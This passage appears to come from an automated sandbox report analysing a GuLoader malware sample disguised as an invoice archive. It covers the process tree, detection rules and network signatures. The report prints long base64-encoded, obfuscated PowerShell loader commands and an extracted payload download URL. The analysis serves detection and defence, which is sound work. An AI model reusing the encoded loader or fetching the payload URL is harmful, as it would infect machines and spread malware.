BCAGkAbABiAHIAbwBlAG4AcwBwACAAQQByAGIAZQBqADIAIABJAG4AdABlAHIAYwBhAG0AcAAgAEcARQBWAEEATABUAEkAIABSAFUAQwBIAEUAUgBTAFQARQBOACAARABJAFMAUABSACAADQAKACQAYwBoAG8AbgBkAHIAbwBnAGEANAA9AFsAYwBoAG8AbgBkAHIAbwBnAGEAMQBdADoAOgBWAGkAYQBjACgAJABjAGgAbwBuAGQAcgBvAGcAYQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAGQAaQBmAGYAZQByAGUAbgAgAGgAYQB2AGUAIABNAG8AYgBpAGwAZQB0AHMAZwByADMAIABhAHIAawBmAGQAZQByACAAaQBuAGQAawAgAEsATABPAEQAUgBJAEEATgBFAFIAIABUAEEAUwBLAEUASwBSAEEAQgBCACAAUwBKAFUAUwBTACAAdwBoAGUAYQB0ACAASAB5AHAAbwBwAGgAeQBzACAAQQBmAGgAbwBsAGQAcwBoAG8AdAAzACAAVABoAHkAcgBvAGMAbwBsACAAVQBEAFYAVQAgAGIAdQBmAGYAIABwAG8AbAB5AGUAdABoACAAYgByAGkAcwBrAGUAdAB1AG4AdAAgAFQAWQBFAFQAQwBPAFEAIABDAG8AbQBwAGEAIABBAGYAdABhAGwAZQBwADYAIABzAHQAaQBuAGsAaQAgAEcARQBOAE4ARQBNAEIATwBSACAAYQBmAHQAZQByAHAAIABBAGwAaQBxAHUAYQBuADEAIABhAG4AdABpAG0AbwBuAHkAZwAgAEYAcgBhAG4AdABzACAAWgBJAFQASQAgAE4AQQBHAEwARQBUAEcAIABCAEwATwBUACAAQgBlAHMAbgBhAGsAawBlADcAIABVAE4ARABUAEEAIABCAHIAYQBzAGgAbAB5AGkAZwAgAA0ACgAkAGMAaABvAG4AZAByAG8AZwBhADUAPQAwADsADQAKACMAQgBvAGwAaQBkAGUAcwBzAGwAYQA1ACAATABBAE4ARABTAFIAIABQAHIAbwBzACAAVABsAGwAZQBzADgAIABPAG0AawBsAGEAcwBzAGkAZgBpADcAIABQAGUAbgB0AGEAYwByAG8AbgBrADQAIABIAEUAUABUAEEAVAAgAFcAYQBrAGUAcgAgAHIAZQBnAGkAbwAgAFUAZwBlAHMAawByAGkANwAgAFMAbABhAHIANAAgAEYATwBSAEUATAAgAA0ACgBbAGMAaABvAG4AZAByAG8AZwBhADEAXQA6ADoAQwBEAEEAQwAoACQAYwBoAG8AbgBkAHIAbwBnAGEANAAsACQAYwBoAG8AbgBkAHIAbwBnAGEAMwAsADUAOAA3ADYANwAsAFsAcgBlAGYAXQAkAGMAaABvAG4AZAByAG8AZwBhADUALAAwACkADQAKACMAQgBFAFMASwAgAFMAdAByAGUAZQB0AHcAYQByAGQANwAgAEwAZQBqAHIAdQBkAHMAdAB5AHIANgAgAFUAbgBsAGEAbgBnAHUAIAB1AG4AawBpAG4AZAAgAEgAQQBLAE0AIAB3AHIAaQBnAGgAdAByAHkAIABCAGEAZwBnAGEAYQByAGQAZQBuADIAIABTAHUAYgBjAG8AbgB0AHIAYQA4ACAAZgBsAGEAdgAgAEcAcgBhAHYAcwB0AGUAZAA3ACAASABpAGcAaABoAGEAdABiAGEAIABTAGgAYQBoACAADQAKAFsAYwBoAG8AbgBkAHIAbwBnAGEAMQBdADoAOgBFAG4AdQBtAFcAaQBuAGQAbwB3AHMAKAAkAGMAaABvAG4AZAByAG8AZwBhADMALAAgADAAKQANAAoADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
          • conhost.exe (PID: 6288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • csc.exe (PID: 620 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xd0x2kfy\xd0x2kfy.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)
            • cvtres.exe (PID: 316 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES571F.tmp" "c:\Users\user\AppData\Local\Temp\xd0x2kfy\CSC444B4F613D554F189420B3812D9BACB.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
  • cleanup
{"Payload URL": "http://barsam.com.au/bin_FCWtLoO90.bin"}
SourceRuleDescriptionAuthorStrings
00000016.00000002.523684015.00000000096D0000.00000040.00000800.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    No Sigma rule has matched
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: 00000016.00000002.523684015.00000000096D0000.00000040.00000800.00020000.00000000.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "http://barsam.com.au/bin_FCWtLoO90.bin"}
    Source: WWVN_INVOICE_8363567453.lzhVirustotal: Detection: 25%Perma Link
    Source: C:\Windows\SysWOW64\unarchiver.exeFile opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dllJump to behavior
    Source: Binary string: Xl7C:\Users\user\AppData\Local\Temp\xd0x2kfy\xd0x2kfy.pdb source: powershell.exe, 00000016.00000002.518463762.000000000523E000.00000004.00000800.00020000.00000000.sdmp
    Source: C:\Windows\SysWOW64\unarchiver.exeCode function: 4x nop then jmp 00EE09D3h0_2_00EE02A8
    Source: C:\Windows\SysWOW64\unarchiver.exeCode function: 4x nop then jmp 00EE09D2h0_2_00EE02A8

    Networking

    barindex
    Source: Malware configuration extractorURLs: http://barsam.com.au/bin_FCWtLoO90.bin
    Source: C:\Windows\SysWOW64\7za.exeDropped file: Than21.SaveToFile FileName, adSaveCreateOverWriteJump to dropped file
    Source: powershell.exe, 00000016.00000002.516470478.0000000004EC1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: powershell.exe, 00000016.00000002.517426585.000000000512F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro

    System Summary

    barindex
    Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYA